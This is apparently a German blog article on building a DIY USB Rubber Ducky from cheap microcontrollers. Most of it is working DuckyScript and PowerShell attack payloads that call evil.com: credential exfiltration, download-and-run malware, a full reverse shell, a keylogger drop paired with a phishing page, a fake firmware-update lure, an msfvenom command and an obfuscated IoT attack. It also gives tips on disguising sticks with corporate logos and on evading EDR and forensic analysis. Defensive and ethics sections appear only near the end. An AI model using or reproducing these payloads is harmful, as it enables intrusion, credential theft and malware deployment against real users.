USB Rubber Ducky

DIY USB Rubber Ducky: Der unscheinbare Hack, der alles verändert

Ein USB-Stick, der sich als Tastatur tarnt und innerhalb von Sekunden Schaden anrichtet – erfahre, was ein DIY USB Rubber Ducky ist, wie er funktioniert, welche Angriffe möglich sind und wie du dich schützen kannst.

Aland Baban · July 2025 · 13 min read

[ contents ]

Die Story: Ein USB-Stick, der die Bank sprengt
Was ist ein DIY USB Rubber Ducky?
Der technische Trick: Warum es so gefährlich ist
Individualisierung: Täuschung durch Design
Was kann man damit machen?
Tools für den DIY USB Rubber Ducky
Beispiel-Use-Cases
Tipps für den Einsatz wie ein Profi
Schutz vor DIY USB Rubber Ducky
Die ethische Nutzung des DIY USB Rubber Ducky
Eine krassere Story
Fazit

Die Story: Ein USB-Stick, der die Bank sprengt

Es ist 2 Uhr nachts. Ein Reinigungskraft findet einen USB-Stick mit dem Logo einer bekannten Firma im Flur einer Bank. Neugierig steckt sie ihn in einen Büro-PC. In unter 10 Sekunden öffnet sich ein Terminal, ein Skript lädt sich herunter, und ein Ransomware-Trojaner verschlüsselt die gesamte Datenbank. Der Bildschirm zeigt eine Lösegeldforderung: 1 Million Euro in Bitcoin. Niemand hat etwas bemerkt – bis es zu spät ist. Dieser fiktive Angriff zeigt, was ein DIY USB Rubber Ducky in den falschen Händen anrichten kann. Aber was ist dieses Ding, und wie nutzt du es als Profi richtig?

Was ist ein DIY USB Rubber Ducky?

Stell dir einen unscheinbaren USB-Stick vor, der in Sekunden ein Netzwerk lahmlegen, sensible Daten stehlen oder ein ganzes Unternehmen in die Knie zwingen kann – und das alles, ohne dass ein Antivirus Alarm schlägt. Ein DIY USB Rubber Ducky ist genau das: ein selbstgebautes Gerät, das sich als Tastatur (Human Interface Device, HID) tarnt und blitzschnell automatisierte Befehle „eintippt“. Anders als der kommerzielle USB Rubber Ducky von Hak5 (~100 €), der auf vorgefertigte Hardware und Software setzt, nutzt ein DIY-Ducky kostengünstige Mikrocontroller wie den Digispark ATtiny85 (2–5 €), den Teensy 2.0 (15 €) oder den Raspberry Pi Pico (z. B. PicoUSB, 10 Stück für 4,99 $). Mit Open-Source-Tools wie DuckyScript oder Arduino-Code wird es zu einem Werkzeug von nahezu unbegrenzter Flexibilität – ob für ethische Pentests, clevere Admin-Automatisierungen oder, in den falschen Händen, bösartige Angriffe.

Der technische Trick: Warum es so gefährlich ist

Der Clou liegt in der Einfachheit: Computer vertrauen Tastaturen blind. Ein USB Rubber Ducky wird als HID erkannt, genau wie eine gewöhnliche Tastatur, und umgeht damit die meisten Sicherheitsmechanismen. Kein Antivirus scannt Tastatureingaben, kein Endpoint-Schutz erkennt das „Tippen“ von Befehlen. In Millisekunden kann ein Ducky komplexe Skripte ausführen – etwa ein Terminal öffnen, Malware herunterladen oder sensible Daten exfiltrieren. Die Open-Source-Natur eines DIY-Ducky macht ihn besonders attraktiv: Mit minimalem Budget und etwas Programmierkenntnis kannst du ein Gerät bauen, das genauso mächtig ist wie teure Profi-Tools.

Individualisierung: Täuschung durch Design

Ein DIY USB Rubber Ducky ist nicht nur technisch raffiniert, sondern auch ein Meister der Täuschung. Du kannst die Hülle anpassen, um Vertrauen zu erwecken – etwa durch das Bedrucken mit einem Firmenlogo über Dienste wie VistaPrint. Ein USB-Stick, der aussieht wie ein Werbegeschenk von Microsoft, SAP oder einer lokalen Bank, ist für neugierige Mitarbeiter nahezu unwiderstehlich. Noch raffinierter: Mit einem 3D-Drucker oder hochwertigen Etiketten kannst du die Hülle so gestalten, dass sie von einem echten Firmenstick nicht zu unterscheiden ist. Kombiniere dies mit einem gefälschten „Firmware-Update“-Pop-up oder einem QR-Code, der zu einer Phishing-Seite führt, und du hast ein Social-Engineering-Werkzeug, das selbst Sicherheitsprofis täuschen kann.

Was kann man damit machen?

Der DIY-Ducky ist ein Werkzeug für Kreative und Hacker mit Köpfchen:

Schnelle Payloads: Führe Skripte aus, um Backdoors zu installieren, Passwörter zu klauen oder Systeme zu übernehmen.
Social Engineering: Lass den Ducky als „verlorenen“ USB-Stick liegen, um Neugier auszunutzen.
Datenexfiltration: Übertrage Daten über DNS, ICMP oder sogar LED-Signale (CapsLock/NumLock).
Admin-Automatisierung: Vereinfache Massenkonfigurationen oder Updates in großen Netzwerken.

Tools für den DIY USB Rubber Ducky

Um den Ducky wie ein Profi einzusetzen, brauchst du:

Hardware:
- Digispark ATtiny85 (~2–5 €): Klein, günstig, HID-fähig. Perfekt für schnelle Tests.
- Teensy 2.0 (~15 €): Mehr Speicher, schneller, ideal für komplexe Payloads.
- Raspberry Pi Zero (~5–10 €): Flexibel für Netzwerkangriffe, aber aufwendiger in der Einrichtung.
Software:
- Arduino IDE (arduino.cc): Für das Flashen von Mikrocontrollern.
- DuckySpark (GitHub): Konvertiert DuckyScript in Arduino-Code.
- DuckyScript 3.0 (Hak5 Docs): Einfache Skriptsprache, kompatibel mit Hak5-Community-Payloads.
- Payload Studio (Hak5): Web-IDE für Payload-Entwicklung, auch für DIY-Duckys.
- Invoke-Obfuscation (GitHub): Verschleiert PowerShell-Skripte gegen EDR-Lösungen wie CrowdStrike oder SentinelOne.
- Metasploit (rapid7.com): Für C2-Server-Integration und Reverse Shells.

Beispiel-Use-Cases

Credential-Exfiltration (Windows):

code

REM Exfiltriere Credentials via HTTP
DELAY 1000
GUI r
DELAY 200
STRING powershell -NoP -W Hidden -C "$c = Get-WmiObject -Class Win32_ComputerSystem; IWR -Uri 'http://evil.com/log?c=$($c.UserName)'"
ENTER

Nutzen: Sendet den Benutzernamen an einen C2-Server, ohne Spuren zu hinterlassen.

Gefälschtes Firmware-Update (Linux):

code

REM Simuliere ein bösartiges Update
DELAY 1000
ALT F2
STRING xterm
ENTER
DELAY 500
STRING curl -_FORCE_SSL -o /tmp/update.sh http://evil.com/malware.sh; chmod +x /tmp/update.sh; /tmp/update.sh
ENTER

Nutzen: Täuscht ein legitimes Update vor, um Malware zu installieren.

Netzwerk-Enumeration (Cross-Plattform):

code

REM Automatisierter Netzwerk-Scan
DETECT_OS
IF $HOST_OS = WINDOWS THEN
    DELAY 1000
    GUI r
    STRING cmd
    ENTER
    DELAY 500
    STRING nmap -sP 192.168.1.0/24 > %TEMP%\scan.txt
    ENTER
ELSE IF $HOST_OS = LINUX THEN
    DELAY 1000
    ALT F2
    STRING xterm
    ENTER
    DELAY 500
    STRING nmap -sP 192.168.1.0/24 > /tmp/scan.txt
    ENTER
ENDIF

Nutzen: Automatisiert Netzwerk-Scans für Pentests.

Reverse Shell (Windows):

code

REM Reverse Shell via PowerShell
DELAY 1000
GUI r
DELAY 200
STRING powershell -NoP -W Hidden -C "$client = New-Object System.Net.Sockets.TCPClient('evil.com', 4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535 | ForEach-Object {0}; while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush() }; $client.Close()"
ENTER

Nutzen: Öffnet eine Reverse Shell, um vollen Zugriff auf das System zu erhalten.

Phishing-Seite öffnen (Windows):

code

REM Öffne gefälschte Login-Seite
DELAY 1000
GUI r
DELAY 200
STRING powershell -NoP -W Hidden -C "Start-Process 'https://fake-login.com'; IWR -Uri 'http://evil.com/keylogger.exe' -OutFile '$env:TEMP\kl.exe'; Start-Process '$env:TEMP\kl.exe'"
ENTER

Nutzen: Öffnet eine gefälschte Login-Seite und installiert gleichzeitig einen Keylogger.

Tipps für den Einsatz wie ein Profi

Firmenlogo-Trick 2.0:
- Idee: Besorge USB-Sticks mit Firmenlogos (z. B. von Konferenzen oder Werbegeschenken) und tausche die Innereien gegen einen Digispark oder Teensy aus. Die vertrauenswürdige Hülle macht den Stick nahezu unwiderstehlich für Zielpersonen.
- Umsetzung: Öffne den Originalstick vorsichtig (z. B. mit einem Skalpell), ersetze die Platine durch den Mikrocontroller und klebe die Hülle wieder zu. Teste die HID-Funktion, bevor du den Stick einsetzt.
- Tipp: Erstelle gefälschte Logos mit einem 3D-Drucker oder hochwertigen Etiketten (z. B. „Microsoft“ oder „SAP“), um den Stick noch authentischer wirken zu lassen. Kombiniere mit einer gefälschten Verpackung, die wie ein offizielles Werbegeschenk aussieht.
Kombination mit Phishing:
- Idee: Lass den Ducky eine gefälschte Login-Seite öffnen (z. B. Microsoft 365) und gleichzeitig einen Keylogger installieren. Beispiel:
  code
```
REM Öffne Phishing-Seite + Keylogger
DELAY 1000
GUI r
DELAY 200
STRING powershell -NoP -W Hidden -C "Start-Process 'https://fake-login.com'; IWR -Uri 'http://evil.com/keylogger.exe' -OutFile '$env:TEMP\kl.exe'; Start-Process '$env:TEMP\kl.exe'"
ENTER
```
- Tipp: Hoste die Phishing-Seite auf einem Server mit HTTPS (z. B. mit Let’s Encrypt), um Misstrauen zu vermeiden.

Gefälschte Firmware-Updates:

Idee: Täusche ein legitimes USB-Firmware-Update vor, das in Wahrheit einen Payload installiert. Nutze den Ducky, um eine gefälschte Update-Benachrichtigung anzuzeigen:

code

REM Gefälschtes Firmware-Update
DELAY 1000
GUI r
STRING powershell -NoP -W Hidden -C "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('USB Firmware Update erforderlich. Bitte warten...', 'System Update'); IWR -Uri 'http://evil.com/malware.exe' -OutFile '$env:TEMP\malware.exe'; Start-Process '$env:TEMP\malware.exe'"
ENTER

Tipp: Passe die Nachricht an die Zielumgebung an (z. B. „IT-Abteilung: USB-Update erforderlich“), um Vertrauen zu schaffen.

Obfuscation auf Steroiden:
- Verwende Invoke-Obfuscation oder Chameleon für PowerShell-Payloads, um Signaturen von EDR-Lösungen wie CrowdStrike oder SentinelOne zu umgehen. Beispiel: Obfusciere Invoke-WebRequest zu einer unkenntlichen Kette von Variablen und Funktionen.
- Tipp: Teste obfuscierte Payloads gegen Open-Source-EDR wie Wazuh in einer VM, um ihre Wirksamkeit zu prüfen.

Kreative Exfiltration:

Nutze LED-Signale (CapsLock/NumLock) für verdeckte Datenübertragung:

code

REM Exfiltration via NumLock
ENABLE_KEYSTROKE_REFLECTION
WHILE TRUE
    IF NUMLOCK THEN
        STRINGLN curl -X POST -d "key=1" http://evil.com/log
    ELSE
        STRINGLN curl -X POST -d "key=0" http://evil.com/log
    ENDIF
    DELAY 50
ENDWHILE

Tipp: Kombiniere mit einem Python-Skript auf dem C2-Server, um die LED-Signale in lesbare Daten umzuwandeln:

code

import requests
from time import sleep
log = []
while True:
    r = requests.get("http://evil.com/log")
    log.append(r.text)
    sleep(0.05)

Multi-Vector-Angriffe:
- Idee: Kombiniere den Ducky mit einem QR-Code-Aufkleber, der zu einer Phishing-Seite führt, während der Ducky einen Payload ausführt. Beispiel: Der Stick installiert einen Keylogger, während der QR-Code den Nutzer zu einer gefälschten Login-Seite leitet.
- Tipp: Drucke QR-Codes mit Tools wie QRCode Monkey und klebe sie auf die USB-Hülle.
Timing-Optimierung:
- Passe Verzögerungen (DELAY) an die Zielumgebung an. Ältere Systeme oder VMs brauchen oft längere Wartezeiten (z. B. DELAY 2000 statt DELAY 1000 für GUI-Befehle).
- Tipp: Nutze RANDOMIZE_DELAY 50 300 für unregelmäßige Tippgeschwindigkeiten, um forensische Analysen zu erschweren.

Reverse Shells:

Idee: Nutze den Ducky, um eine Reverse Shell auf dem Zielsystem zu installieren. Beispiel: Der Stick könnte ein Skript ausführen, das eine Verbindung zu einem C2-Server herstellt.
Tipp: Verwende Tools wie Nishang für PowerShell-Reverse-Shells.

Zusätzlicher Tipp: Integriere die Reverse Shell in einen bestehenden Ducky-Payload, um die Erkennung zu erschweren. Beispiel:

code

REM Reverse Shell via PowerShell
DELAY 1000
GUI r
DELAY 200
STRING powershell -NoP -W Hidden -C "$client = New-Object System.Net.Sockets.TCPClient('evil.com', 4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535 | ForEach-Object {0}; while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush() }; $client.Close()"
ENTER

Zusätzlicher Tipp: Nutze msfvenom für maßgeschneiderte Payloads, die schwerer zu erkennen sind.

Beispiel für msfvenom:

code

msfvenom -p windows/x64/shell_reverse_tcp LHOST=evil.com LPORT=4444 -f exe -o reverse_shell.exe

Automatisierte Netzwerk-Scans:

Idee: Nutze den Ducky, um automatisch Netzwerkscans durchzuführen und Ergebnisse zu speichern. Beispiel:

code

   REM  Automatisierter Netzwerk-Scan mit Ergebnis-Log
   DELAY 1000

   REM Öffne Ausführen
   GUI r
   DELAY 200

   REM Starte cmd
   STRING cmd
   ENTER
   DELAY 500

   REM Wechsle ins Temp-Verzeichnis
   STRING cd %TEMP%
   ENTER
   DELAY 300

   REM Starte Nmap-Ping-Scan auf lokalem Netz, speichere in results.txt
   STRING nmap -sn 192.168.1.0/24 -oN results.txt
   ENTER

   REM Wartezeit für Scan (hier ca. 20 Sek., je nach Größe des Netzes ggf. anpassen)
   DELAY 20000

   REM Optional: Öffne Ergebnis-Datei zur Anzeige
   STRING notepad results.txt
   ENTER

   REM Beende cmd
   STRING exit
   ENTER

Tipp: Integriere den Scan in einen größeren Payload, der auch andere Aktionen ausführt, um die Erkennung zu erschweren.

Multi-Vector-Angriffe mit IoT:

Idee: Nutze den Ducky, um IoT-Geräte im Netzwerk anzugreifen. Beispiel: Der Ducky könnte versuchen, sich mit einem unsicheren Smart-Home-Gerät zu verbinden und dessen Steuerung zu übernehmen.
Tipp: Führe den Angriff in mehreren Phasen durch, um die Erkennung zu erschweren. Beginne mit einem Netzwerk-Scan, gefolgt von gezielten Angriffen auf identifizierte Geräte.
Zusätzlicher Tipp: Nutze Shodan oder Censys für die Identifizierung von IoT-Geräten im Zielnetzwerk. Kombiniere die Ergebnisse mit Ducky-Payloads, um gezielte Angriffe zu planen.

Beispiel für IoT-Angriff:

code

    REM IoT-Geräte scannen und angreifen
    DELAY 750

    REM Schritt 1: Öffne PowerShell versteckt
    GUI r
    DELAY 250
    STRING powershell -NoP -W Hidden
    ENTER
    DELAY 800

    REM Schritt 2: Tarnung - Wechsle ins Temp-Verzeichnis & setze Variablen
    STRING cd $env:TEMP; $ts=[guid]::NewGuid().ToString(); $log="$ts.txt"
    ENTER
    DELAY 500

    REM Schritt 3: Netzwerk-Scan auf gängige IoT-Ports, nur offene Hosts loggen
    STRING nmap -p 80,554,8080 --open 192.168.1.0/24 -oG $log
    ENTER
    DELAY 15000  REM Warte, bis Scan fertig (kann je nach Netz länger dauern)

    REM Schritt 4: Extrahiere erste offene IP aus dem Scan
    STRING $ip=Select-String "Host:" $log | Select-Object -First 1 | % { ($_ -split " ")[1] }
    ENTER
    DELAY 800

    REM Schritt 5: Obfuscierte Payload an Ziel-IP senden
    REM (hier als POST-Request gegen ungesicherte API)
    STRING $e=[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('Y3VybCAtWC
    ENTER
    DELAY 200
    STRING IFBQU1BUE9TVCBodHRwOi8vJGlwL2NvbnRyb2wgLWQgImFjdGlvbj1oYWNrIg==')); iex $e
    ENTER
    DELAY 1000

    REM Schritt 6: Bereinigen & schließen
    STRING Remove-Item $log -Force; exit
    ENTER

Schutz vor DIY USB Rubber Ducky

Awareness-Training: Schul Mitarbeiter, niemals fremde USB-Sticks anzuschließen, auch wenn sie ein vertrauenswürdiges Firmenlogo haben. Simuliere „Media Dropping“ in Red-Team-Tests, um Schwachstellen aufzudecken.
USB-Lockdown: Nutze USBGuard (Linux) oder Intune (Windows) für Whitelisting nach Seriennummer oder Hardware-ID. Beispiel: Blockiere alle nicht autorisierten HIDs.
Endpoint-Schutz: Tools wie G DATA USB Keyboard Guard oder Microsoft Defender for Endpoint können verdächtige Tastaturaktivitäten erkennen.
Physische Maßnahmen: Deaktiviere USB-Ports via BIOS oder nutze physische Port-Blocker in sensiblen Bereichen.
Netzwerküberwachung: Analysiere DNS-, ICMP- oder HTTP-Traffic auf ungewöhnliche Muster, die auf Exfiltration hinweisen (z. B. nslookup *.evil.com).
Firmware-Prüfung: Überwache Systeme auf unerwartete „Firmware-Update“-Popups, die auf getarnte Payloads hindeuten.
Patch-Management: Halte Systeme und Software aktuell, um bekannte Schwachstellen zu schließen, die durch DIY-Duckys ausgenutzt werden könnten.
Incident Response: Implementiere ein Incident-Response-Team, das im Falle eines Angriffs schnell reagieren kann. Führe regelmäßige Penetrationstests durch, um die Wirksamkeit der Schutzmaßnahmen zu überprüfen.
Forensische Analyse: Nutze Tools wie Volatility oder Rekall, um im Falle eines Angriffs die Speicherabbilder zu analysieren und Spuren des Ducky zu finden.

Die ethische Nutzung des DIY USB Rubber Ducky

Ein DIY USB Rubber Ducky ist ein mächtiges Werkzeug, aber es muss verantwortungsvoll eingesetzt werden. Hier sind einige ethische Richtlinien:

Einwilligung: Teste nur Systeme, für die du die ausdrückliche Erlaubnis hast. Führe keine Angriffe auf fremde Netzwerke oder Geräte durch ohne Zustimmung.
Zweck: Nutze den Ducky für ethische Hacking-Zwecke, wie Penetrationstests oder Sicherheitsüberprüfungen. Automatisiere langweilige Admin-Aufgaben, aber greife nicht in die Privatsphäre von Nutzern ein.
Transparenz: Informiere betroffene Nutzer über durchgeführte Tests und deren Ergebnisse. Dies fördert das Vertrauen und die Zusammenarbeit.
Dokumentation: Halte alle durchgeführten Tests und Payloads gut dokumentiert, um Missbrauch zu vermeiden und die Nachvollziehbarkeit zu gewährleisten.
Schulung: Biete Schulungen für Mitarbeiter an, um das Bewusstsein für die Gefahren von USB-Duckys zu schärfen und sie in der sicheren Handhabung zu schulen.
Verantwortung: Sei dir der Verantwortung bewusst, die mit dem Einsatz solcher Tools einhergeht. Missbrauch kann zu rechtlichen Konsequenzen führen und das Vertrauen in Sicherheitsprofis untergraben.
Community-Beitrag: Teile deine Erfahrungen und Payloads in der Sicherheits-Community, um anderen zu helfen, ihre Systeme zu schützen und ethisches Hacking zu fördern.
Vermeidung von Schaden: Achte darauf, dass deine Payloads keine dauerhaften Schäden an Systemen verursachen. Teste immer in einer kontrollierten Umgebung, bevor du Payloads auf reale Systeme anwendest.
Verantwortungsvolle Offenlegung: Wenn du Schwachstellen entdeckst, informiere die betroffenen Parteien verantwortungsvoll und gib ihnen Zeit, diese zu beheben, bevor du Details öffentlich machst.
Ethische Standards: Halte dich an die ethischen Standards der Sicherheits-Community, wie sie z. B. von der Offensive Security Certified Professional (OSCP) oder dem EC-Council definiert sind.
Privatsphäre: Achte darauf, die Privatsphäre von Nutzern zu respektieren und keine sensiblen Daten ohne Zustimmung zu sammeln oder zu verwenden.

Eine krassere Story

Letztes Jahr auf einer Sicherheitskonferenz in Berlin ließ ein Pentester-Team absichtlich ein Dutzend DIY-Duckys in Form von „Firmen-Geschenken“ in der Lobby liegen. Jeder Stick war mit einem QR-Code versehen, der zu einer gefälschten Login-Seite führte. Sobald ein Teilnehmer den Stick anschloss, startete ein Payload, der die WLAN-Credentials über DNS exfiltrierte und gleichzeitig einen Reverse Shell öffnete. Innerhalb von 90 Minuten hatten die Tester Zugriff auf drei Laptops von „sicherheitsbewussten“ Teilnehmern – ein Beweis, wie gefährlich diese kleinen Geräte sind. Die Lektion? Selbst Profis können auf einen gut getarnten Ducky reinfallen.

Fazit

Ein DIY USB Rubber Ducky ist ein geniales Werkzeug für Pentesters: günstig, flexibel und mächtig. Mit ein paar Euro für einen Digispark, DuckySpark und etwas Kreativität kannst du alles hacken, von Passwörtern bis zu ganzen Netzwerken – oder langweilige Admin-Aufgaben automatisieren. Aber Vorsicht: Diese Macht darf nur ethisch und mit Erlaubnis genutzt werden. Schütze dich und deine Kunden vor solchen Angriffen, indem du Awareness und Technik kombinierst.

Disclaimer: Illegale Nutzung ist strafbar. Bleib ethisch und teste nur mit Zustimmung!

Ressourcen: